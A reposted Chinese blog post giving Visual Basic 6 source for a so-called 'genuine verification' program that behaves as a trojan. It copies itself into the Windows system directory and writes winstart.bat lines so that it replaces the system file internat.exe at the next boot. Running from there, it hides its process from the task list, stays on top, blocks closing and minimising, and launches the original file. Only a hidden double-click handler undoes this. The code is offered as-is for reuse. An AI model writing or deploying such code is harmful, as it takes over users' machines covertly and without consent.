[转载] VB系统编程，隐藏进程、进程控制、正版验证等。

1. Option Explicit
   
2. 
   
3. '进程控制
   
4. Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
   
5. Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
   
6. Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
   
7. 
   
8. Const RSP_SIMPLE_SERVICE = 1
   
9. Const RSP_UNREGISTER_SERVICE = 0
   
10. 
    
11. '退出Windows
    
12. Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
    
13. 
    
14. Const EWX_LOGOFF = 0
    
15. Const EWX_SHUTDOWN = 1
    
16. Const EWX_REBOOT = 2
    
17. Const EWX_FORCE = 4
    
18. 
    
19. Const WM_SYSCOMMAND = &H112&
    
20. Const SC_SCREENSAVE = &HF140&
    
21. 
    
22. '窗体总在最前
    
23. Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
    
24. 
    
25. Const HWND_TOPMOST = -1
    
26. 
    
27. '连接
    
28. Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
    
29. 
    
30. Const SW_SHOWNORMAL = 1
    
31. Const URL = "http://www.microsoft.com"
    
32. 
    
33. '查找系统目录
    
34. Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
    
35. Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
    
36. 
    
37. Const MAX_PATH = 260
    
38. 
    
39. Dim ExitButton As Boolean
    
40. 
    
41. '取得windows目录
    
42. Function GetWinPath()
    
43. Dim strFolder As String
    
44. Dim lngResult As Long
    
45.     strFolder = String(MAX_PATH, 0)
    
46.     lngResult = GetWindowsDirectory(strFolder, MAX_PATH)
    
47.     If lngResult <> 0 Then
    
48.         GetWinPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
    
49.     Else
    
50.         GetWinPath = ""
    
51.     End If
    
52. End Function
    
53. 
    
54. '取得system目录
    
55. Function GetSystemPath()
    
56. Dim strFolder As String
    
57. Dim lngResult As Long
    
58.     strFolder = String(MAX_PATH, 0)
    
59.     lngResult = GetSystemDirectory(strFolder, MAX_PATH)
    
60.     If lngResult <> 0 Then
    
61.         GetSystemPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
    
62.     Else
    
63.         GetSystemPath = ""
    
64.     End If
    
65. End Function
    
66. 
    
67. '文件是否存在
    
68. Function FileExists(filename As String) As Integer
    
69. Dim i As Integer
    
70. On Error Resume Next
    
71.     i = Len(Dir$(filename))
    
72.     If Err Or i = 0 Then FileExists = False Else FileExists = True
    
73. End Function
    
74. 
    
75. '隐藏进程
    
76. Public Sub RemoveProgramFromList()
    
77.     Dim lngProcessID As Long
    
78.     Dim lngReturn As Long
    
79.     Dim pid As Long
    
80.     lngProcessID = GetCurrentProcessId()
    
81.     lngReturn = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
    
82. End Sub
    
83. 
    
84. '打开浏览器
    
85. Public Sub gotoweb()
    
86.     Dim Success As Long
    
87.     Success = ShellExecute(0&, vbNullString, URL, vbNullString, "C:\", SW_SHOWNORMAL)
    
88. End Sub
    
89. 
    
90. '连入网站
    
91. Private Sub cmdBuy_Click()
    
92.     gotoweb
    
93. End Sub
    
94. 
    
95. '重新启动
    
96. Private Sub cmdReset_Click()
    
97.    Dim lresult
    
98.    lresult = ExitWindowsEx(EWX_REBOOT, 0&)
    
99. End Sub
    
100. 
     
101. Private Sub Form_Load()
     
102. On Error Resume Next
     
103. Dim Path As String
     
104. Dim SourceFile, DestinationFile
     
105.     Path = App.Path
     
106.     If Right(Path, 1) <> "\" Then Path = Path & "\"
     
107.     If App.PrevInstance Then End
     
108.     If FileExists(GetSystemPath & "\intarnet.dll.exe") = 0 Then
     
109.         '备份internat.exe文件
     
110.         SourceFile = GetSystemPath & "\internat.exe"
     
111.         DestinationFile = GetSystemPath & "\intarnet.dll.exe"
     
112.         FileCopy SourceFile, DestinationFile
     
113.         '复制自己
     
114.         SourceFile = Path & App.EXEName & ".EXE"
     
115.         DestinationFile = GetSystemPath & "\so.dll.exe"
     
116.         FileCopy SourceFile, DestinationFile
     
117.         '改写winstart.bat文件
     
118.         Open GetWinPath & "\winstart.bat" For Append As #1
     
119.         Print #1, "@echo off"
     
120.         Print #1, "copy " & GetSystemPath & "\so.dll.exe " & GetSystemPath & "\internat.exe /y >nul"
     
121.         Print #1, "del " & GetWinPath & "\winstart.bat"
     
122.         Close #1
     
123.     End If
     
124.     '检查文件是否在系统目录执行
     
125.     If App.Path <> GetSystemPath Then
     
126.         MsgBox "程序代码不完整或系统出现错误，文件已被破坏。", vbInformation
     
127.         End
     
128.     End If
     
129.     RemoveProgramFromList
     
130.     SetWindowPos Me.hwnd, HWND_TOPMOST, Me.Left / Screen.TwipsPerPixelX, Me.Top \ Screen.TwipsPerPixelY, Me.Width \ Screen.TwipsPerPixelX, Me.Height \ Screen.TwipsPerPixelY, 0
     
131.     Shell (GetSystemPath & "\intarnet.dll.exe")
     
132. End Sub
     
133. 
     
134. Private Sub Form_Resize()
     
135.     '程序被最小化时返回初始状态
     
136.     If Me.WindowState = 1 Then Me.WindowState = 0
     
137. End Sub
     
138. 
     
139. Private Sub Form_Unload(Cancel As Integer)
     
140.     '禁止程序退出
     
141.     If Not ExitButton Then Cancel = True
     
142. End Sub
     
143. 
     
144. '删除程序
     
145. Private Sub lblUninstall_DblClick()
     
146.     Open GetWinPath & "\winstart.bat" For Append As #1
     
147.     Print #1, "@echo off"
     
148.     Print #1, "copy " & GetSystemPath & "\intarnet.dll.exe " & GetSystemPath & "\internat.exe /y >nul"
     
149.     Print #1, "del " & GetSystemPath & "\intarnet.dll.exe"
     
150.     Print #1, "del " & GetSystemPath & "\so.dll.exe"
     
151.     Print #1, "del " & GetWinPath & "\winstart.bat"
     
152.     Close #1
     
153.     MsgBox "您使用的系统可能是正版。:-)", vbInformation
     
154.     End
     
155. End Sub
     
156. 
     

复制代码